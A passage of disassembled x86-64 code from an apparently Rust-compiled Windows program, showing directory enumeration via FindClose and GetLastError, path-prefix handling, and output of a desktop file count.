mov rsi, qword [rbp + 0xcf8]
movzx eax, word [rbp + 0xd88]
mov word [rbp + 0xd90], ax
mov eax, dword [rbp + 0xd70]
mov word [rbp + 0xd50], ax
movzx eax, word [rbp + 0xd40]
mov word [rbp + 0xd58], ax
jmp 0x140006b6c
mov rsi, qword [sym.imp.kernel32.dll_GetLastError]
call rsi
cmp eax, 0x12
je 0x140006c6f
call rsi
mov esi, eax
shl rsi, 0x20
or rsi, 2
xor r13d, r13d
test r13, r13
je 0x140006bd1
mov eax, dword [rbp + 0xc70]
mov dword [rbp + 0xb60], eax
movaps xmm0, xmmword [rbp + 0xc50]
movaps xmm1, xmmword [rbp + 0xc60]
movaps xmmword [rbp + 0xb50], xmm1
movaps xmmword [rbp + 0xb40], xmm0
mov r8d, 0x21e
mov rcx, r14
lea rdx, [rbp + 0x8d0]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rbp + 0xd90]
mov word [rbp + 0xd98], ax
movzx eax, word [rbp + 0xd50]
mov word [rbp + 0xd80], ax
movzx edi, word [rbp + 0xd58]
mov qword [rbp + 0x678], r13
mov qword [rbp + 0x680], rsi
mov eax, dword [rbp + 0xb60]
lea rsi, [rbp + 0x670]
mov dword [rsi + 0x38], eax
movaps xmm0, xmmword [rbp + 0xb40]
movaps xmm1, xmmword [rbp + 0xb50]
movups xmmword [rsi + 0x28], xmm1
movups xmmword [rsi + 0x18], xmm0
movzx eax, word [rbp + 0xd98]
mov word [rbp + 0x6ac], ax
movzx eax, word [rbp + 0xd80]
mov word [rbp + 0x6ae], ax
mov word [rbp + 0x6b0], di
mov r8d, 0x21e
lea rcx, [rbp + 0x6b2]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x670], 1
inc r15
mov rcx, rsi
call fcn.140001a6c
xor esi, esi
mov r13, qword [rbp + 0xd68]
jmp 0x1400069e9
mov eax, dword [rbp + 0xd7c]
mov dword [rbp + 0x30], eax
xor r15d, r15d
jmp 0x140006c73
and dword [rbp + 0x30], 0
lea rsi, [rbp + 0x670]
and qword [rsi], 0
mov rcx, rsi
call fcn.140001a6c
lea rdi, [rbp + 0x20]
mov rcx, qword [rdi + 8]
call qword [sym.imp.kernel32.dll_FindClose]
mov rcx, rdi
call fcn.140001ea0
mov qword [rbp + 0x420], r15
mov qword [rsi], r14
lea rax, str.Users_desktop_file_count:
mov qword [rdi], rax
mov qword [rdi + 8], 2
and qword [rdi + 0x20], 0
lea rax, [fcn.14000a160]
mov qword [rsi + 8], rax
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 1
lea rcx, [rbp + 0x20]
call fcn.14008f660
mov rcx, qword [rbp + 0xb10]
mov rdx, qword [rbp + 0xb18]
call fcn.140030fc9
jmp 0x14000601b
jne 0x140006e03
mov rax, qword [rbp + 0xd90]
movzx r8d, word [rax]
jmp 0x140006d48
mov r13d, eax
shl r13, 0x20
cmp qword [rbp + 0xd80], 0
mov rcx, qword [rbp + 0xd98]
je 0x140006d28
push 2
pop rdx
call fcn.140007680
or r13, 2
cmp qword [rbp + 0xd68], 0
jne 0x140006440
jmp 0x14000644b
movzx r8d, word [r8]
cmp esi, 3
jne 0x140006d80
cmp r8w, 0x5c
jne 0x140006e03
mov rax, qword [rbp + 0xd90]
movzx edx, word [rax + 2]
cmp dx, 0x5c
jne 0x140006e03
add rdi, 0xfffffffffffffffe
add qword [rbp + 0xd90], 4
lea r13, [0x1400e6398]
jmp 0x140006e06
cmp r8w, 0x5c
jne 0x140006e03
cmp edx, 0x3f
je 0x140006e03
cmp edx, 0x5c
jne 0x140006d5e
mov rdx, qword [rbp + 0xd90]
movzx edx, word [rdx + 4]
cmp edx, 0x3f
je 0x140006df1
cmp edx, 0x2e
jne 0x140006d68
mov rdx, qword [rbp + 0xd90]
cmp word [rdx + 6], 0x5c
jne 0x140006d68
add rdi, 0xfffffffffffffffc
add qword [rbp + 0xd90], 8
jmp 0x140006854
movzx eax, word [rsi]
cmp eax, 0x2f
je 0x1400065ae
cmp eax, 0x5c
je 0x1400065ae
jmp 0x1400065d5
lea r8, [0x1400ad8f0]
mov rcx, rdi
mov rdx, r14
call fcn.1400a87b0
mov rax, qword [rbp + 0xd90]
cmp word [rax + 6], 0x5c
jne 0x140006d68
xor r12d, r12d
lea rsi, [rdi + r12]
inc rsi
mov rax, qword [rbp + 0xc50]
cmp rax, rsi
jae 0x140006e47
lea r8, [rsi + rsi]
test rax, rax
je 0x140006e53
add rax, rax
mov rcx, qword [rbp + 0xd98]
mov qword [rbp + 0x420], rcx
mov qword [rbp + 0x428], 2
mov qword [rbp + 0x430], rax
jmp 0x140006e5b
mov rsi, rax
mov rcx, qword [rbp + 0xd98]
jmp 0x140006e93
and qword [rbp + 0x428], 0
lea r14, [rbp + 0x8d0]
push 2
pop rdx
lea r9, [rbp + 0x420]
mov rcx, r14
call fcn.140086cc0
cmp qword [r14], 0
jne 0x14000709f
mov rcx, qword [rbp + 0x8d8]
mov qword [rbp + 0xc58], rcx
mov qword [rbp + 0xc50], rsi
lea r8d, [r12 + r12]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xc60], r12
mov rax, rsi
sub rax, r12
cmp rax, rdi
jae 0x140006ed1
lea rcx, [rbp + 0xc50]
mov rdx, r12
mov r8, rdi
call fcn.1400aaf80
mov rsi, qword [rbp + 0xc50]
mov r12, qword [rbp + 0xc60]
lea r8, [rdi + rdi]
mov r14, qword [rbp + 0xc58]
lea rcx, [r14 + r12*2]
mov rdx, qword [rbp + 0xd90]
call sub.VCRUNTIME140.dll_memcpy
add r12, rdi
mov qword [rbp + 0xc60], r12
cmp r12, rsi
jne 0x140006f18
lea rcx, [rbp + 0xc50]
mov rdx, rsi
call fcn.140088490
mov r14, qword [rbp + 0xc58]
mov r12, qword [rbp + 0xc60]
and word [r14 + r12*2], 0
cmp qword [rbp + 0xb40], 0
mov rsi, r14
je 0x140006f3a
mov rcx, qword [rbp + 0xb48]
push 2
pop rdx
call fcn.140007680
mov rdx, qword [rbp + 0xc50]
movabs rax, 0x8000000000000000
cmp rdx, rax
lea r14, [rbp + 0x670]
mov r15, qword [rbp + 0xd70]
je 0x14000642f
jmp 0x1400065e3
lea rcx, str.assertion_failed:_self.buf.init___self.buf.filled__n
lea r8, [0x1400ad8a8]
push 0x36
jmp 0x1400057eb
mov rsi, qword [rbp + 0x678]
jmp 0x140006fcf
mov rsi, qword [rbp + 0x8d8]
jmp 0x140006fcf
lea rcx, str.srcmain.rs
call fcn.1400a8cc0
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
jmp 0x140007015
mov rsi, qword [rbp + 0x678]
jmp 0x140006fc3
mov rsi, qword [rbp + 0x8d8]
lea rcx, [rbp + 0xc50]
call fcn.140001918
lea r8, [rbp + 0x20]
mov qword [r8], rsi
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad948]
jmp 0x140007028
lea rcx, str.srcmain.rs
call fcn.1400a8cc0
mov al, byte [rbp + 0x671]
lea r8, [rbp + 0x8d0]
mov byte [r8], al
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400ad968]
push 0x2b
jmp 0x140005e7d
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
push 0x28
pop rdx
call fcn.1400a8850
jmp 0x1400070cb
lea rcx, str.srcmain.rs
call fcn.1400a8cc0
call fcn.140007750
push 1
pop rcx
mov rdx, r14
call fcn.1400a84f0
mov byte [rbp + 0xda7], 1
push 1
pop rcx
mov rdx, r14
call fcn.1400a84f0
jmp 0x1400070cb
mov qword [rbp + 0xd30], r12
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a84f0
jmp 0x1400070cb
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, rdi
call fcn.1400a8840
jmp 0x1400070cb
mov rcx, qword [rbp + 0x8d8]
test rcx, rcx
jne 0x1400070bf
call fcn.140007750
jmp 0x1400070cb
push 8
pop rcx
push 0x30
pop rdx
call fcn.1400a84f0
jmp 0x1400070cb
mov rdx, qword [rbp + 0x8e0]
call fcn.1400a84f0
ud2